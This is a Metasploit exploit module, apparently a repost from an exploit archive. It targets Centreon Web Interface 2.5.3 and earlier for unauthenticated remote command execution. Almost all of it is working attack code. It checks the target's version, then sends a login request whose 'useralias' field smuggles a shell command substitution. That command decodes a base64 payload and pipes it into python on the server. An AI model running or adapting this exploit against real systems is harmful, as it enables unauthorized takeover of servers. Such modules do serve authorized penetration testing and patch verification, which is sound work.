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Centreon Web Interface 2.5.3 Command Execution

Posted on 27 July 2016

##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon Web Useralias Command Execution',
'Description' => %q(
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
errors. This functionality can be abused for arbitrary code
execution, and can be triggered via the login screen prior to
authentication.
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery
],
'References' =>
[
[ 'EDB', '39501' ]
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
'Privileged' => false,
'Arch' => ARCH_PYTHON,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 26 2016'
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
], self.class
)
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
/LoginInvitVersion"><br />[s]+(?<version>[d]{1,2}.[d]{1,2}.[d]{1,2})[s]+</td>/ =~ res.body

if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
vprint_good("Version Detected: #{version}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

def exploit
begin
vprint_status('Sending malicious login')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' =>
{
'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\",
'password' => Rex::Text.rand_text_alpha(5)
}
)

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end

 

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